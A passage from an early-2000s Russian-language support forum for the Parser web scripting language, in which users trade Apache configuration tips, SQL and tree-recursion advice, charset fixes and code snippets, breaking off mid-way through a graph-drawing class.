Еще интересный вопрос можно обсудить о навигации по тредам на форуме. Вообще-то навигация по датам гораздо удобнее, если ее правильно применить в сочитании со \"всплывающими топиками\". Т.е. если на любую мессягу из треда пришел ответ, топик \"всплывает\" вверх и показывается вместе с последними поступленими. Но, это уже получается UBB какой-то :)"
"2692","Я на это уже нарывался, спасибо Мише - наставил на путь истинный.\
\
Выбрать N сообщений с левелом = 0 и рекурсивно обойти их деток - казалось бы, что проще! Ан нет! \
\
Я протестировал первый вариант своего форума на 25 записях с нехитрой структурой и долго хлопал в ладоши от радости - надо же, как круто - всё заработало! Потом загнал в таблицу пятимегабайтный архив старого форума с 9000 записей, сервер вздохнул, parser3.exe выжрал под сорок мегов памяти, но дерево постороил (не всё, limit 0, 50 последних записей, есессно). Выгрузил своего уродца на сайт провайдера - перестало работать совсем - там ограничение на время выполнения и объём процессорных ресурсов. Тут я начал чесать репу и набрал в MySQL SHOW PROCESSLIST и ужаснулся.\
\
Потом по Мишиному совету ввёл дополнительное поле - id треда для каждой реплики - и это облегчило рекурсию и сильно ускорило работу. Вот такие дела...\
\
ЗЫ ты дескрайбом по своей конструкции select * from table where parent in($select) проходил? Открой мануал по команде DESCRIBE и послушай, что тебе MySQL выскажет по поводу твоего оператора и его прожорливости...\
\
ЗЗЫ Могу прислать по почте движок, который я накарябал для http://gfkforum.bougakov.com/forum/ - посмотришь, как у меня всё устроено.\
"
"2693","А ты на старый форум посмотри - тебе ещё есть, куда расти. Помолчал бы ;-P\
\
PS Миша, можно сделать update forum set author=\"Sanja (v.2)\" where author=\"Sanja\" а то я тоже хочу с вами посоревноваться :-) В разных браузерах разные имена-куки записались..."
"2694","У него другой подход к форуму.\
У него реализация - топик, и в нем НЕ ВЕТВЯЩИЕСЯ ответы...\
У них есть только последовательность. Никаких рекурсий.\
\
Для такой реализации описаный вариант по моему вполне нормальный. Только... Кажется ограничение есть на длину запроса, и его надо опасаться...\
\
Вообще я при такой реализации хранил-бы заголовки тредов и ответы на них в отдельных таблицах. В таблицу с заголовками зафигачил-бы дополнительных полей (типа дата последнего сообщения в треде и т.д.)\
\
\
А к вопросу о всплытии треда с последним ответом наверх... По моему это ужасно... Без жесткой модерации низя быдет жить. Весь ТОП будет в жутких офтопиках типа какая ОС круче и т.д. :)\
Видел я такое...\
\
Как дополнильную персональную настройку это иметь можно (все-таки наверное и это вредно), но и только..."
"2695","определяешь какую-нить переменную перед меню: $is_exist(0)\
Далее менюшишь, если совпало имя загружаемого файла с именем файла в каталоге - делаешь $is_exist(1)\
\
После меню делаешь:\
[code]\
^if($is_exist){\
  обломись, бабка, мы на корабле, и такой файл уже есть\
}{\
  этта... оппа... записали файло... ик...\
}\
[/code]\
\
Но еще раз повторяю - нафига, если есть locate?\
\
P.S. можно еще сделать:\
[code]\
$a[^list.select($lisn.name eq $form:form1.name)]\
$if($a){файл уже существует}{записали}\
[/code]\
но это тоже через одно место...\
Еще можно вместо menu использовать for... %-)\
"
"2698","greg.frolov этo AS\
"
"2699","проблемы. Теперь при обращении к парсеру - он работает, выдает версию.\
Но.. не работает:) Т.е. при запросе документа,\
\
если в .htaccess написано\
[code]Action parsed-html /cgi-bin/parser/parser2.cgi[/code]\
То он выдает [color=\"red\"]500 Internal server error[/color] и в error.log пишет:\
[b][Sun Jun 16 03:19:09 2002] [alert] [client 212.46.241.252] /path/to/www/.htaccess: Action takes two arguments, a media type followed by a script name[/b]\
\
если  в .htaccess написано\
[code]Action parsed-html /cgi-bin/parser/parser2[/code]\
То он говорит [color=\"red\"]Not Found The requested URL /cgi-bin/parser/parser2/index.html was not found on this server.[/color] и в error.log пишет:\
[b][Sun Jun 16 03:19:09 2002] [alert] [client 212.46.241.252] /path/to/www/.htaccess: Action takes two arguments, a media type followed by a script name[/b]\
"
"2700","если в .htaccess написано\
\
[code]Action parsed-html /cgi-bin/parser/parser2[/code]\
\
То он  в error.log пишет:\
[b][Sun Jun 16 03:44:38 2002] [error] [client 212.46.241.252] script not found or unable to stat: /path/to/cgi-bin/parser/parser2[/b]"
"2701",":-) не сомневаюсь... но т.к. я не нашёл в Инете как это сделать и почему не работает метод описанный в FAQ и доках...\
то методом \"в лоб\" и соорудил...\
\
тем более что Апача поставил 1ый раз... и Парсера наконец-то прикрутил... а не далее чем вчера только установил mySQL... в общем у меня всё ещё только начинается.... %-)\
\
ЗЫ: IIS принципиально не хочу ставить... т.к. на 98ой винде сижу... а Sambar сабака не захотел с Парсером работать...\
Такие вот пироги...."
"2702","[b]Достаточно разрешить пользователю перезаписывать FileInfo\
\
AllowOverride All\
\
в httpd.conf в разделе того \"обычного\"/виртуального сервера, в котором устанавливается parser[/b]\
\
А можно подробнее для чайников? Для чего это?"
"2703","Спасибо за небольшие подсказки... :-)"
"2704","смотрите сами:\
http://bg.cyberpunk.ru/forum/\
\
только для древа нужно зарегистрироваться в конфиге\
http://bg.cyberpunk.ru/config/ и поставить там древовидный форум, т.к. по умолчанию там UBB-образный...\
Да, и не забудьте потом себя удалить из базы :)\
\
ps. к Denis хорошо хоть не ASS :)"
"2708","Я же чуть выше говорил, что писать надо parser2.cgi, а не просто parser2\
И потом, зачем ты его положил в /cgi-bin/parser/, а не в /cgi-bin/ - может не хватить правов для запуска.\
\
Итого:\
1. parser2.cgi в /cgi-bin/\
2. проверить права на parser2.cgi - должно быть 755\
3. в .htaccess написать:\
[code]\
AddHandler parsed-html .html\
Action parsed-html /cgi-bin/parser2.cgi\
[/code]\
"
"2709","AllowOverride означает, что именно из настроек можем разрешить перекрыть пользователю (не админу).\
FileInfo (опция) необходима для работы пользовательских конфигов aka .htaccess\
All (опция) - разрешить, типа, все перекрывать. Чтоб проблем с .htaccess не было, лучше эту опцию и установить."
"2710","Если проверишь AllowOverride на своих файлах - все должно заработать, если не делать орфографических ошибок в .htaccess"
"2711","Теперь всё делал в .htacces, работает как надо.\
\
Большое спасибо.\
\
[b]PS:[/b] Только в files надо добавить [b]|conf)[/b]\
чтобы конфиг парсера для сайта был не доступен из вне..."
"2712","А я вот [url=http://www.parser.ru/forum/?id=2699]здесь[/url] написал, что пробовал и parser2 и parser2.cgi - не работает.\
\
Сейчас сделал все, как ты сказал - не работает. Происходит все точно так же как описал [url=http://www.parser.ru/forum/?id=2699]здесь[/url]\
Я хренею:(\
Не бросайте меня:)"
"2713","для  php это делается просто: highlight_string()...\
Пока пытаюсь сделать всё матчами, но может есть способ проще или утилита какая-нибудь."
"2714","Это:\
[code]\
AddOutputFilter INCLUDES .shtml\
[/code]\
не обязательно расскомментировать, потому что к п3 это ниакаим боком не относится."
"2718","только руками наверно надо раскрашивать."
"2721","при сборке бинарника использовался ключ\
\
  You can disable user-configured sendmail commands by forcing it, setting\
  \"--with=sendmail=COMMAND\"\
  option to configure.\
\
со значением /usr/sbin/sendmail -t"
"2722","Просто она очень нужна для работы с паролями в Apache..."
"2726","Просто мне нужно добавлять новых пользователей ресурса в htpasswd_members и пароли криптовать"
"2727","1. мы часто используем cookie-авторизацию+mysql, там криптование делает mysql.\
2. для http-авторизации могу порекомендовать mod_mysql_auth\
3. если хочется делать самому .htpasswd, то задача нечастая, ^file::exec[нужный скрипт]"
"2729","глупость говорит и поленился прочитать в доке про апач про htpasswd, но сама идея встроенного в парсер шифрования неплоха - не стоит её отметать с ходу. Что мешает прикрутить к парсеру шифрование по [url=http://www.counterpane.com/blowfish-download.html]Blowfish[/url] или [url=http://csrc.nist.gov/encryption/aes/]AES[/url] ибо они документированы и есть в исходных кодах на Сях? Если кто-то не может использовать MySQL'ное шифрование и хранит, например, БД пользователей сайта с их паролями в текстовых tab-delimeited таблицах, то встроенное стойкое шифрование было бы подспорьем. Хоть какой-то шанс скрыть приватную информацию от глаз не в меру любопытного админа хостинга.."
"2730","http://www.cryptix.org/resources.html - там описания всех последних алгоритмов в т.ч. с исходниками. Но мне бы в парсере хватило шифрования средствами AES и оператора для проверки message digest'а..."
"2731","...сотни - не есть правильно.\
\
если ему очень надо - то есть исходники, есть внешние проги.\
\
алгоритмов шифрования - немеряно, какой из них засовывать в парсер, и надо-ли это вообще - неясно. (мне)\
\
\
\
"
"2735","1. Рекомендованный стандарт у нас вроде как один - AES, пришедший на смену морально устаревшему тройному DES'у. \
\
2. Шифрование - необходимая для языка уровня парсера функциональность. Не менее нужная, чем XML.\
\
3. А как насчёт того, чтобы прикрутить к парсеру энтот самый AES и   подробно описать процесс? Минимальные знания по программированию на сях вроде есть (Hello, World компилировался..) и если мне покажут step-by-step как такие вещи делаются, я достану учебник и ещё что-то прикручу от себя самостоятельно. Заодно простимулируете процесс расширения функциональности парсера (а то дальше слов \"вот вам открытые исходники, делайте, что хотите\" не идёт - ну есть они, и чего? Как к этому подступиться?)"
"2737","И исходники оного я могу потрогать руками, в отличие от ФАПСИшной Вербы или как там её, посему последняя может пойти.. в направлении космодрома..\
"
"2738","Я набрал www.fapsi.ru и заботливый Norton AntiVirus сказал, что на странице есть вирус JS.Exception.Exploit... Домен, естественно, не ФАПСИ принадлежит, но всё равно забавно... "
"2739","что с этим делать?"
"2741","Господа, не о том вы все говорите. Изначально, если меня конешно память не ошибает, Парсер рассматривался как инструмент для дизайнеров. И то что он умеет делать намного больше чем требуется просто дизайнеру меня лично радует. Но, я дизайнер, все что вы обсуждали типа, возми напиши на Perl, прикрути к исходникам Си-шный код и т.д. для меня лес наитемнейший. Потому что мое дело грамотно разбираться не в кусках программ, и уж тем более не в том как их прекрутить, а в том, чтобы ресурс был наиболее красив, интересен и функционален.\
Исходя только лишь из этого я предлагаю внести функцию криптования, потому как это бы позволило дизайнерам, людям далеким от программирования, создавать страницы с ограниченным доступом.\
Буду искренне рад, если мое предложение получит разрешение в Parser\
"
"2742","это инструмент для кодеров, технологов и т.д. Для дизайнеров есть другие интсрументы как то Photoshop, Illustrator и т.д. моя мысль понятна?"
"2744","Урок 6. Работаем с XML \
Проблема следующая: Отображаемый в результате работы примера html приходит в UTF8 и попытки получить его в Cirillic Win ни к чему не приводят. платформа Win2000 rus. (Р3 установлен в cgi-bin сервера, там же все его конфиги и т.п.)\
НА Win2000 eng все работает как положено. (P3 установлен как рекомендовано в доке.)\
Буду признателен за разъяснения _причин_ проблеммы."
"2746","и на исходный текст, и на выдаваемый установлена ...\
$.windows-1251[$charsetsdir/windows-1251.cfg]\
\
xml из примера буква в букву.\
\
зачем пишу - не знаю. все есть в вопросе."
"2747","я в XML файле пишу:\
[code]\
encoding=\"$request:charset\"\
[/code]\
а в XSL ничего не пишу, но правда у меня там нет кириллицы.\
"
"2748","http://parser.ru/docs/src/"
"2751","ситуация:\
\
папка / \
- в auto.p создаю объект класса my_sql для работы с mySQL (вызываю конструктор...)\
\
папка /dir/\
- в auto.p создаю объект класса my_class, в конструкторе класса идет обращение к базе данных используя метод get_me_data класса my_sql.\
\
в результате : (object) not a method or junction, can not call it.\
\
В чем причина - auto.p же обрабатываются по порядку от корня?? и когда обрабатывается /dir/autoo.p класс my_sql уже создан."
"2753","потому что скорее всего до тех пор пока не считаются все auto.p класс MAIN не сформирован и соответственно нельзя пользоваться его методами. У меня тоже такое происходит."
"2754","это теперь к разработчикам. Если можно, пожалуйста разъясните в чем тут проблема.\
\
(надеюсь не надо лезть в исходники, мне [url=\"http://parser.ru/forum/?id=2642\"]mySQL[url] хватит :))"
"2757","[b]/auto.p[/b]\
\
@USE\
/classes/mysql.p\
@auto[]\
$MAIN:pSQL[^mysql::init[mysql://root:@localhost/test]]\
\
[b]/calendar/auto.p[/b]\
\
@USE\
/classes/calendar.p\
@auto[]\
$MAIN:pCalendar[^calendar::init[2002;6]]\
\
\
[b]/classes/calendar.p[/b]\
@CLASS\
calendar\
@init[s_year;s_month]\
...\
$files_days[\
	^MAIN:pSQL.server{\
		^void::sql{select * from my_table}\
	}\
]\
\
###################################\
$SQL:drivers table must be defined\
\
mysql://root:@localhost/test\
\
c:/program files/apache group/apache/htdocs/auto.p(6)*\
\
* строка\
$MAIN:pSQL[^mysql::init[mysql://root:@localhost/test]]\
\
помоему без ошибок\
"
"2760","Через форму загружается картинка. Как узнать, кто она jpeg или gif?"
"2762","Там же прямо сказано, что не определена таблица драйверов. Проблема или в parser3.conf или где-то переопределена таблица $SQL..."
"2763","но надо еще отделить имя от расширения.\
спасибо, не заметил..."
"2764","драйвера работают и класс работает,\
/forum/ - работает отлично.\
значит parser3.conf написан правильно. иначе я везде бы эту ошибку получал? а таблицы $SQL я не переопределял...\
"
"2767","нужно для того, что бы определить в каком формате пользователь закачивает картинку. что бы её сохранить с соответствующим расширением."
"2768","И это будет JPEGом? Слабо вертся... Мораль - грузи файл и матч на сигнатуру соответствующего формата:\
[code]\
$img[^file::load[/path/image.ext]]\
^if(^img.text.match[^^GIF8]){\
   GIF\
}{\
   ^if(^img.text.match[^^.{6}JFIF]){\
      JPEG\
   }{\
      Unknown\
   }\
}\
[/code]"
"2769","для других методов все ОК"
"2774","Народ, помогите, вроде всё по документации делаю, но ничего не получается. или ошибку выдаёт или (если ещё разок всё переставить), не видит код парсера."
"2775","\"Вне\" это где?\
\
К примеру:\
\
parser3.conf (главный конф. файл парсера) лежит в cgi-bin,\
parser3.conf (конф. файл сайта) лежит в корне сайта.\
\
Можно по другому сделать?"
"2776","Особенно, если в папку cgi-bin положить файло системы .htaccess в коем прописаны переменные окружения показывающие на конфигурационные файлы.\
Например:\
[code]\
SetEnv HTTP_PARSER_ROOT_CONFIG /path/to/main/parser3.conf\
SetEnv HTTP_PARSER_SITE_CONFIG /path/to/other/parser3.conf\
[/code]"
"2779","Если не трудно пришлите или выложите в примеры.\
Хочется разобраться как вообще они работают..."
"2780","IBM C/C++ (VisualAge C++) 5.0, \
вызывается как xlc_r для C, xlC_r для C++\
"
"2781","# достает все данные по какому-либо сообщению\
# в примере заковырка в этом месте, то что ниже - работает прав-но.\
\
@getMessageById[id]\
$result[^table::sql{\
		SELECT\
			forum_message_id,\
			parent_id,\
			thread_id,\
			title,\
			author,\
			email,\
			dt_published,\
			forum_message_body.body\
		FROM\
			forum_message\
			^MAIN:pSQL.left_join[from;forum_message_body;forum_message.forum_message_body_id = forum_message_body.forum_message_body_id]\
		WHERE\
			^MAIN:pSQL.left_join[where;forum_message_body;forum_message.forum_message_body_id = forum_message_body.forum_message_body_id]\
			forum_message_id = ^id.int(0) AND\
			is_published = 1\
}]\
# end @getMessageById[]"
"2784","1. создать файлы проектов самому [утомительно, но можно]\
2. взять cygwin, в нём запустить configure, и есть правильный make.\
но вот поправить configure.in или получающиеся make на тему компилятора и его ключей надо самому [тоже утомительно, но можно]\
3. могу создать .mak файлы для VS, может удобнее будет править их.\
\
давайте эту дискуссию переведём в почту. сюда напишем о результате."
"2785","Мало что дало... Я так до конца и не понял, куда чего пихать, и как вообще это работает."
"2786","А что именно интересует? только конструктивно: слова \"ничего не понимаю\" означают то, что никто ничего понять не пытался - это ведь не ядерная физика ;-)\
\
РЕКЛАМА: кстати, вот тебе еще про деревья немного: http://serge.design.ru/article/?2002-06-14"
"2787","Т.е. парсер вообще не знал про:\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
Хотя, все тексты на сервере были в windows-1251 и выдавались в windows-1251. Странно. Из доки: [i]По-умолчанию везде используется кодировка UTF-8[/i].\
C XML номер не прошел.\
\
Стыдно. Но все равно неясно, почему иначе отрабатывалась ситуация \"по-умолчанию\"."
"2789","Не, я взял для просмотра пример но абсолютно нифига в нем не понял...Форму для заполнения форума я создал, а вот по поводу вывода не очень то понял..."
"2791","Общую логику я сообразил, но мне то бы хотелось чтобы пример был полностью рабочий, чтобы была возможность покопаться и отследить что куда и как пишется, где и как выводится и т.д. Я не программер и мне очень тяжело осваивать что-то новое на недоработанных кусках."
"2793","если request и response charset совпадают, то перекодировать нечего и Parser выдаёт что есть, [b]не вникая[/b].\
xml в виде текста, для уменьшения мест указания кодировки, выдаётся в $request:charset, а он не задан=по умолчанию=UTF-8."
"2794","Добавить в статью XSLT преобразование\
\"plain\" XML форума в дерево.\
\
Т.к. обычно достаем его из базы ...\
Если надо, могу подкинуть код :)\
\
А так статья - 5 баллов (или как теперь уже - 12)."
"2795","они выходит обе совпадали по умолчанию, UTF-8\
А если у меня задан request KOI8 а response WIN1251, xml мне получается текстом придет в KOI8, а все остальное (не xml) response WIN1251?"
"2796","ты имеешь в виду \"как постоить XML, который нужно отXSLTэшить?\" ;-)"
"2797","ничего сложного там нет\
ну может быть скоро на том же serge.design.ru появится. ;-)\
\
просто если бы ты задал конкретные вопросы, я бы на них конкретно ответил. ;-)"
"2801","Извиняюсь.. стормозил.... :("
"2802","что-то тред ничем не закончился.\
имеем:\
[b]$cat test.p[/b]\
[code]\
@CLASS\
test\
\
@load[]\
$var[t]\
\
@xxx[]\
hello, world\
[/code]\
\
[b]$cat test.html[/b]\
[code]\
@USE\
/test.p\
\
$g[^test::load[]]\
\
^g.xxx[]\
[/code]\
парсер пускаю с _командной_ строки\
[b]truss[/b] зафиксировал успешное открытие и прочтение файла test.p\
Но в итоге все равно получаю сабж.\
"
"2803","Проблема в том, что я не могу законектится с базой (mysql).\
Попробывал пример из руководства - PARSER пишет:\
post_size(0)!=content_length(43)\
\
Linux SuSe 7.1\
Apache\
MySQL\
\
Поможите, плз."
"2804","Виже только @USE, в котором пытаются заюзаться модули:\
/test.p\
$g[^test::load[]]\
^g.xxx[]\
\
RTFM, please!"
"2807","А количество комментариев к статье - ^math:random(1000) ? :-)"
"2808","Требуется помощь от имевших опыт взаимоотношений с сабжем.\
\
Решил изменить на время апачу (делаю сайт, который будет крутиться под IIS - решил всё честно протестировать) и поставил IIS с диска с WinXP Prof. Russian.\
\
http://localhost работает, парсер как ISAPI приложение летает. \
\
Но вот я захотел сделать ещё один виртуальный сервер.. и обломился. Лезу в MS Management Console (AKA \"Управление компьютером\") открываю вкладку \"Internet Information Services\", правой кнопкой кликаю по \"Веб-узлам\"... и не вижу пункта меню \"Новый (New)\"! Что, IIS для несерверной версии WinXP может работать только с одним сайтом? Или я чего неправильно делаю?"
"2809","Да, читая доку по IIS я тоже это заметил. Там было что-то вроде:\
[qoute]если вы хотите добавить еще один ftp или web узел, то вам имеет смысл пересмотреть в ближайшем времени переход на windows ** Server.[/qoute]\
Ставь NT короче."
"2810","сорри я там буковки перепутал... с просони..."
"2811","Я хочу написать форум на Парсер3, чем-то похожий на этот, только без рейтингов. Но вот только я так и не соображу с чего начать в смысле не с того ка его оформить а как написать логику форума. Как вообще выглядит его структура и алгоритм?"
"2812","А вот в Парсер 3 я не нашел аналога."
"2813","Говорю ж - пример из руководства.\
\
@greeting[] \
Администрирование новостей \
\
@body_additional[] \
Добавление новостей \
\
@body_main[] \
$now[^date::now[]] \
\
<center> \
<form method=\"POST\"> \
<p> \
Date: <input name=\"date\" value=\"${now.year}-${now.month}-${now.day}\"> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
Header: <input name=\"header\"> \
</p> \
<p>Body:<br> \
<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea> \
</p> \
<p> \
<input type=\"submit\" value=\"Add New\" name=\"posted\">&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Cancel\"> \
</p> \
</form> \
\
#начало обработки \
^if(def $form:date && def $form:header && def $form:body){ \
   ^connect[$connect_string]{ \
      ^void:sql{insert into news \
         (date, header, body) \
      values  \
         ('$form:date', '$form:header', '$form:body') \
      } \
      …сообщение добавлено \
      } \
}{ \
   …для добавления новости необходимо заполнить все поля формы \
} \
</center>\
\
где $connect_string[mysql://user@host/p3test]\
\
база такая существует, у пользователя пароля нет.\
"
"2814","при попытке вызвать из функции этуже функцию выдается ошибка\
e:/www/servers/mts/htdocs/forum/auto.p(129): 'tree' call canceled - endless recursion detected  type: parser.runtime\
 т.е. это не поддерживается?\
\
@tree[id]\
$answ[^mess.select($mess.parent == $id)]\
^answ.menu{\
^answer_item[]\
^tree[$answ.id]\
}\
 "
"2815","у тебя здесь одни и те же id по кругу гоняются вроде как. "
"2816","это потому, что теперь её можно написать самому сильно легче, чем раньше. раз так, принято было решение не загромождать язык."
"2817","это первая очевидная ошибка, дальше не вникал"
"2818","здесь принято код приводить"
"2819","Я в принципе согласен, но вот как сделать, чтобы строились пустые ячейки?\
[code]\
@janr[]\
$cols[5]\
$cell_width[^eval(100\\$cols)%]\
$sections1[^table::load[/janr.cfg]]\
<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\
<tr>\
^sections1.menu{\
^janr_cell[]\
}{^if($sections1.no > $cols){</tr><tr>$cols[^eval($cols+5)]} }\
</tr>\
</table>\
\
@janr_cell[]\
^if($sections1.uri eq $request:uri){\
<td width=\"$cell_width\" align=\"middle\">\
<b><nobr>$sections1.name</nobr></b>\
</td>\
}{\
<td width=\"$cell_width\" align=\"middle\">\
<a href=\"$sections1.uri\"><b><nobr>$sections1.name</nobr></b></a>\
</td>\
}\
[/code]\
\
Хотелось бы, если в таблице значение записей не ровное, то оставшиеся столбцы записывались бы к примеру &nbsp; как это сделать?"
"2820","ну дык я и привел ;)"
"2821","спасибо, попробую разобраться"
"2822","Пытаюсь поставить parser3. Получаю вот такую ошибку!\
\
(void) not a method or junction, can not call it\
env\
c:/intranet/magnit/www/index.html(32)\
exception.type=parser.runtime\
\
P.S. Как правильно перейти со второго на третий parser?!?"
"2823","______________________\
auth.uid\
1111111111111111111\
www.parser.ru/\
1536\
574454144\
29515486\
677298224\
29497381\
*\
auth.name\
makar\
www.parser.ru/\
1536\
3894536704\
29513501\
4189330784\
29495396\
*\
_____________________\
То есть 2 в одном?\
"
"2824","ни как не могу сладить с оператором if. Я уже просто хочу , чтоб заработала такая штука ^if(1=1) { 1=1} { 1<>1 }. И вот что мне в ответ постоянно пишет Парсер (цитирую):\
/apache/htdocs/if_test.html(10:6): parse error, expecting `';'' or `')''\
exception.type=parser.compile  "
"2825","^if(1=1){ 1=1}{ 1<>1 }"
"2827","Так что делать!\
Как правильно перейти с двойки на тройку?!?"
"2829","Ну не получается. Та же ошибка. Вот весь мой файлик\
<html>\
\
<head>\
\
<title>IF Parser TEST</title>\
</head>\
\
<body>\
\
^if(1=1){ 1=1}{ 1<>1 }\
\
</body>\
\
</html> "
"2830","На один Апач повесить двойку и тройку!\
Как это правильно реализовать в конфиге?!?"
"2832","-"
"2833","-"
"2834","есть некое хранилище данных (сообщений) и есть механизм, который выводит данные. ;) Что _КОНКРЕТНО_ непонятно?"
"2835","Возможно ли из Parser вызывать подпрограммы, написанные на других языках, например Perl? Или есть ли некоторый аналог #include virtual?"
"2836","Форматирую вывод числа - два знака, для чисел <10 первый знак 0.\
Форматная строка (%Длина.ТочностьТип) - в моем случае %02.u наотрез отказывается работать, выводя первым символом 0.\
А ф.стр. %02u дает нужный результат, хотя по документации синтаксис неправильный.\
???????????????????\
\
-----------------------------------------------------------\
Результат работы (что хочется видеть):\
<option value=\"01\">&nbsp; 01</option>\
<option value=\"02\">&nbsp; 02</option>\
...\
<option value=\"09\">&nbsp; 09</option>\
<option value=\"10\">&nbsp; 10</option>\
...\
<option value=\"31\">&nbsp; 31</option>\
\
Собсно сам код:\
^for[day](1;31){<option value=\"^day.format[%02u]\">&nbsp^; ^day.format[[b]%02u[/b]]</option>}"
"2839","точка и число после точки нужно для того что бы задать сколько знаков после точки будут выводится. у целого числа нету точки и поэтому твоя конструкция не имеет смысла."
"2841","в каждом каталоге должен быть свой .htaccess где ты и назначаешь в одном случае обработчиком html файлов p2 в другом p3\
\
Как это делается см. доку и по тому и по другому"
"2842","2 дня убить на то чтобы разобраться с if"
"2844","вроде так (взято из доки):\
[code]\
$cgi_file[^file::cgi[new.cgi]] \
$cgi_file.text \
[/code]"
"2845","Egr, ты понимаешь какой кайф можно словить после 2-ух дней таких разборок, когда все проблемы в 3-х пробелах и неправильном логическом равенстве !!! Это круче чем 1000 голых Бритни....наверно. ;-) "
"2847","Поправьте, если можно короче:\
[code]\
@janr[]\
$colsnom[0]\
$cols[5]\
$cell_width[^eval(100\\$cols)%]\
$sections1[^table::load[/janr.cfg]]\
<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\
<tr>\
^sections1.menu{\
^if($sections1.uri eq $request:uri){<td width=\"$cell_width\" align=\"middle\"><b><nobr>$sections1.name</nobr></b></td>\
}{\
<td width=\"$cell_width\" align=\"middle\"><a href=\"$sections1.uri\"><b><nobr>$sections1.name</nobr></b></a></td>\
}$colsnom[^eval($colsnom+1)]\
}{^if($sections1.no > $cols){</tr><tr>$cols[^eval($cols+5)]} }\
^if($colsnom != $cols){$cols[^eval($cols-$colsnom)] ^for[colsnom](1;$cols){<td><p>&nbsp^;</p></td>} }\
</tr>\
</table>\
[/code]"
"2849","Реально я потратил весь вчерашний вечер на эти пробелы ( а знак я ставил сначала правильный, потом как пошло, поехало ) . Но кайф словил нереально большой, когда моя СЕРЬЕЗНЕЙШАЯ программа сейчас заработала как НАДО !!! "
"2852","Дело в том что когда положил .htaccess в корень, у меня parser не работает. Говорит:\
\
Apache Error 500:\
Извините, но при выполнении скрипта сервером произошла ошибка.\
Попробуйте обратиться к странице позднее.\
\
Вот мой .htaccess:\
# задание Главного конфигурационного файла\
# (укажите полный путь)\
SetEnv HTTP_PARSER_ROOT_CONFIG C:/Program Files/Apache Group/Apache/cgi-bin/parser3.conf\
# назначение обработчиком .html страниц:\
\
AddHandler parsed-html html\
Action parsed-html C:/Program Files/Apache Group/Apache/cgi-bin/cgi-bin/parser3.exe\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
А работает parser через httpd.conf\
\
кусок из httpd.conf \
#назначение обработчиком .html страниц\
AddType parsed-html .html\
Action parsed-html /cgi-bin/parser2.exe\
#запрет на доступ к .cfg файлам. основной: _macro.cfg\
<Files ~ \"\\.cfg$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Подскажите пожалуйста где ошибка? "
"2853","и делай это с помощью .htaccess"
"2854","простейший график из вертикальных баров\
пока без подписей\
распределение по x равномерное\
/сильно ногами не пинать! первый блИн, блин\
!не забудьте, что везе где table нужны tab\
\
[b]graph.p[/b]\
[code]\
@CLASS\
graph\
\
@load[a;b]\
$x($a)\
$y($b)\
$gg[^image::create($x;$y;0xFFFFFF)]\
^gg.bar(1;1;($x-4);($y-4);0)\
^gg.bar(3;3;($x-2);($y-2);0)\
^gg.bar(3;3;($x-6);($y-6);0xFFFFFF)\
\
@canvas[]\
$fromtop(30)\
$froml(40)\
$frombottom(10)\
$fromr(20)\
^gg.bar($froml;($fromtop);($froml+2);($y-$frombottom);0xebebeb)\
^gg.bar($froml;($y-$frombottom);($x-$fromr);($y-$frombottom-3);0xebebeb)\
\
$rect_coord[^table::create{x	y\
^eval($froml+7)	^eval($fromtop-5)\
^eval($x-$fromr+4)	^eval($fromtop-4)\
^eval($x-$fromr+4)	^eval($y-$frombottom-9)\
^eval($froml+7)	^eval($y-$frombottom-9)\
}]\
\
^gg.polybar(0xebebeb)[$rect_coord]\
\
$rect_coord[^table::create{x	y\
$froml	^eval($fromtop-1)\
^eval($froml+6)	^eval($fromtop-7)\
^eval($x-$fromr+7)	^eval($fromtop-7)\
^eval($x-$fromr+5)	^eval($fromtop-5)\
^eval($froml+7)	^eval($fromtop-5)\
^eval($froml+3)	^eval($fromtop-1)\
}]\
\
^gg.polybar(0xb1b1b1)[$rect_coord]\
\
$rect_coord[^table::create{x	y\
^eval($froml+8)	^eval($y-$frombottom-8)\
^eval($x-$fromr+4)	^eval($y-$frombottom-8)\
^eval($x-$fromr)	^eval($y-$frombottom-4)\
^eval($froml+4)	^eval($y-$frombottom-4)\
}]\
\
^gg.polybar(0xb1b1b1)[$rect_coord]\
\
$rect_coord[^table::create{x	y\
^eval($x-$fromr+7)	^eval($fromtop-6)\
^eval($x-$fromr+7)	^eval($y-$frombottom-7)\
^eval($x-$fromr+1)	^eval($y-$frombottom-1)\
^eval($x-$fromr+1)	^eval($y-$frombottom-4)\
^eval($x-$fromr+5)	^eval($y-$frombottom-9)\
^eval($x-$fromr+5)	^eval($fromtop-4)\
}]\
\
^gg.polybar(0x767676)[$rect_coord]\
\
$rect_coord[^table::create{x	y\
^eval($froml+3)	$fromtop\
^eval($froml+7)	^eval($fromtop-4)\
^eval($froml+7)	^eval($y-$frombottom-8)\
^eval($froml+3)	^eval($y-$frombottom-4)\
}]\
\
^gg.polybar(0x767676)[$rect_coord]\
\
@text[a;b;c]\
^gg.font[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz;A.gif](0)\
^gg.text($a;$b)[$c]\
\
@show[]\
    #$response:body[$x0 $x1 $y0 $y1]\
    $response:body[^gg.gif[]]\
\
@plot[a]\
    $maxx(1)\
    $minx(0)\
    $maxy(^find_max_y[$a])\
    $miny(0)\
    $numx(^a.count[])\
    ^bar[$a]\
\
@find_max_y[a]\
    $m(1)\
    ^a.menu{\
	^if($m<$a.value){\
	    $m($a.value)\
	}\
    }\
    $result(^math:round($m))\
\
@bar[a]\
# plot area\
#^gg.bar(($froml+3);($fromtop);($x-$fromr);($y-$frombottom-4);0x00FF00)\
# Xi=3(n-1)+4\
$xi(^eval(3*($numx-1)+4))\
#^for[i](1;$numx){\
$i(1)\
^a.menu{\
$x0(^castx[^eval((3*$i-2)/$xi)])\
$x1(^castx[^eval((3*$i)/$xi)])\
$y0(^casty[0])\
$y1(^casty[$a.value])\
^gg.bar($x0;$y0;$x1;$y1;0x009933)\
$rect_coord[^table::create{x	y\
^eval($x1+1)	$y0\
^eval($x1+5)	^eval($y0-4)\
^eval($x1+5)	^eval($y1-4)\
